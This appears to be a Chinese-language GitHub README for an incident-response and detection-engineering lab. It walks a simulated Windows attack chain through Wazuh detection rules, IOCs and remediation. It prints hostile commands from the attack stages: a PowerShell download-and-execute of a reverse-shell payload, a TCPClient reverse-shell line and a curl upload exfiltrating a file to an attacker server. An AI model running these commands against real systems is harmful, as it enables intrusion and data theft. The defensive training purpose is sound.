asbarfirnas/incident-response-playbook

GitHub: asbarfirnas/incident-response-playbook

这是一个完整的攻击链模拟实验室,用于事件响应和检测工程培训,帮助安全团队识别和防御从初始访问到数据泄露的攻击。

Stars: 0 | Forks: 0

# 网络安全事件应急手册 — 完整攻击链实验室 一个覆盖从初始访问到数据渗出的完整端到端攻击模拟,在Wazuh中内置检测规则,并映射至MITRE ATT&CK框架。事件响应与检测工程实验室项目 ## 攻击链概览 | # | 阶段 | 技术 | MITRE ID | |---|------|------|----------| | 1 | 初始访问 | 通过恶意LNK快捷方式的鱼叉式网络钓鱼附件 | [T1566.001](https://attack.mitre.org/techniques/T1566/001/) | | 2 | 权限提升 | 不安全的计划任务权限 → SYSTEM shell | [T1053.005](https://attack.mitre.org/techniques/T1053/005/) | | 3 | 持久化 | 永久WMI事件订阅(基于计时器) | [T1546.003](https://attack.mitre.org/techniques/T1546/003/) | | 4 | 数据渗出 | 通过curl向Python上传服务器通过C2通道渗出数据 | [T1041](https://attack.mitre.org/techniques/T1041/) | ## 实验室环境 | 角色 | 操作系统 | 备注 | |------|----------|------| | 攻击者 | Kali Linux | 承载netcat监听器、Python上传服务器、载荷HTTP服务器 | | 受害者 | Windows 11 | 安装Sysmon + Wazuh代理,启用PowerShell日志记录 | | SIEM | Wazuh | 接收来自受害者虚拟机的Sysmon + Windows事件日志 | ## 事件摘要 ### 事件 #001 — 鱼叉式网络钓鱼附件(LNK) `T1566.001` 一个伪装成 `notepad.exe` 的恶意 `.LNK` 快捷方式通过钓鱼邮件投递。点击后触发: ``` cmd.exe /c powershell.exe wget http:///8443.exe -OutFile C:\icrm\8443.exe && C:\icrm\8443.exe ``` 这将下载并执行一个反向shell载荷(端口8443),连接回攻击者的netcat监听器。载荷在执行后被删除,作为反取证措施(`T1070.004`)。 **检测:** Wazuh规则100001 — 标记了PowerShell下载并执行从 `cmd.exe` 启动的EXE文件。 ### 事件 #002 — 通过不安全计划任务进行权限提升 `T1053.005` 发现一个计划任务(`CleanupTask`)以 `SYSTEM` 身份运行 `C:\TaskScripts\cleanup.ps1`。该文件对 `Authenticated Users` 拥有 `FullControl` 权限,这意味着任何标准用户都可以覆盖它。 该脚本被替换为一个PowerShell反向shell载荷: ``` $c = New-Object System.Net.Sockets.TCPClient("", 4444) ``` 当该任务下次触发时,一个SYSTEM级别的shell返回到攻击者的监听器。 **检测:** Wazuh + PowerShell脚本块日志记录(事件ID 4104)— 捕获了完整的反向shell载荷,包括 `TCPClient` 和 `Invoke-Expression` 调用。对 `C:\TaskScripts\` 的文件完整性监控标记了脚本修改。 ### 事件 #003 — WMI事件订阅持久化 `T1546.003` 使用 `root\subscription` 中的三个组件创建了一个永久WMI事件订阅: - `__EventFilter` — WQL计时器触发器(每60秒一次) - `CommandLineEventConsumer` — 执行一个隐藏的、Base64编码的PowerShell载荷 - `__FilterToConsumerBinding` — 将两者绑定 载荷使用了隐蔽标志:`-WindowStyle Hidden -ExecutionPolicy Bypass -enc`。持久化在重启后仍然有效。 **检测:** Wazuh检测到由WMI启动的 `powershell.exe`,其命令行经过Base64编码。Sysmon事件ID 19/20/21 直接捕获WMI过滤器/消费者/绑定的创建。 ### 事件 #004 — 通过C2通道渗出数据 `T1041` 利用事件#002获得的SYSTEM级访问权限,使用 `curl.exe` 通过HTTP POST将 `finance-data.txt` 渗出到攻击者机器上运行的Python `uploadserver`(端口8000): ``` $output = (C:\Windows\System32\curl.exe -F "files=@C:\icrm\finance-data.txt" http://:8000/upload 2>&1 | Out-String) ``` **检测:** Wazuh规则300004 — 标记了 `curl.exe` 进程创建,其参数(`-F`, `--form`, `--upload-file`)与通过HTTP/S上传相关。 ## MITRE ATT&CK 导航器 将 `attack_navigator_layer.json` 加载到 [ATT&CK Navigator](https://mitre-attack.github.io/attack-navigator/) 中,查看带有注释的完整技术映射图。 在各事件中观察到的支持性技术: - `T1204.002` — 用户执行:恶意文件 - `T1059.001` — PowerShell - `T1059.003` — Windows命令解释器 - `T1105` — 入口工具传输 - `T1070.004` — 文件删除 ## Wazuh 检测规则 自定义规则位于 `rules/custom_wazuh_rules.xml`。部署步骤: 1. 将其复制到Wazuh管理器上的 `/var/ossec/etc/rules/` 2. 重启Wazuh:`systemctl restart wazuh-manager` 3. 需要Windows端点上安装Sysmon,并将日志转发至Wazuh **前提条件:** - Windows端点安装Sysmon(规则 `if_sid 61603` = Sysmon进程创建) - 通过组策略启用PowerShell脚本块日志记录(事件ID 4104) - 在敏感目录上配置Wazuh文件完整性监控 ## 仓库结构 ``` . ├── README.md ├── attack_navigator_layer.json # Load into ATT&CK Navigator ├── rules/ │ └── custom_wazuh_rules.xml # Wazuh detection rules (T1566.001, T1041) ├── docs/ │ └── Incident_Playbook.docx # Full report with screenshots and IOCs └── screenshots/ # Place exported screenshots here ``` ## 关键威胁指标(IOCs) | 类型 | 指标 | 事件 | |------|------|------| | 文件 | `C:\icrm\notepad.exe` — 伪装成记事本的LNK快捷方式 | #001 | | 文件 | `C:\icrm\8443.exe` — 反向shell载荷(执行后可能被删除) | #001 | | 文件 | `C:\TaskScripts\cleanup.ps1` — 可被已认证用户写入 | #002 | | 进程链 | `explorer.exe → cmd.exe → powershell.exe → 8443.exe` | #001 | | 进程链 | `svchost.exe (Task Scheduler) → powershell.exe → 网络连接` | #002 | | WMI对象 | `__EventFilter: DemoSystemUpdateFilter`(位于 `root\subscription`) | #003 | | WMI对象 | `CommandLineEventConsumer: DemoSystemUpdateConsumer` | #003 | | PowerShell标志 | `-WindowStyle Hidden -ExecutionPolicy Bypass -enc` | #003 | | 网络 | 出站TCP端口8443连接至未知外部IP | #001 | | 网络 | 出站TCP端口4444连接至未知外部IP | #002 | | 网络 | HTTP POST至端口8000的未知IP,附带文件 | #004 | ## 修复要点 - 在邮件网关处**阻止 `.LNK` 附件** - **审核计划任务权限** — 脚本不应可被标准用户写入 - **定期查询 `root\subscription`** 以发现未知的WMI过滤器/消费者 - **出站过滤** — 阻断非标准端口(4444, 8443, 8000)的出站连接 - **PowerShell加固** — 脚本块日志记录(事件ID 4104)、受限语言模式 - **应用程序控制** — 使用WDAC/AppLocker限制从非标准路径执行 ## 参考资料 | 技术 | 参考资料 | |------|----------| | T1566.001 | https://attack.mitre.org/techniques/T1566/001/ | | T1053.005 | https://attack.mitre.org/techniques/T1053/005/ | | T1546.003 | https://attack.mitre.org/techniques/T1546/003/ | | T1041 | https://attack.mitre.org/techniques/T1041/ | | Wazuh文档 | https://documentation.wazuh.com/current/user-manual/capabilities/log-data-collection/how-it-works.html | | Sysmon | https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon | | WMI SDK | https://learn.microsoft.com/en-us/windows/win32/wmisdk/wmi-start-page |
标签:AI合规, C2通道, Cloudflare, Conpot, IPv6, MITRE ATT&CK, PowerShell, SIEM集成, Sysmon监控, Wazuh检测, Windows安全, WMI持久化, 初始访问, 协议分析, 反取证措施, 安全培训, 安全日志分析, 攻击链模拟, 权限提升, 检测规则, 混合加密, 网络安全实验室, 网络资产发现, 蓝队防御, 计划任务提权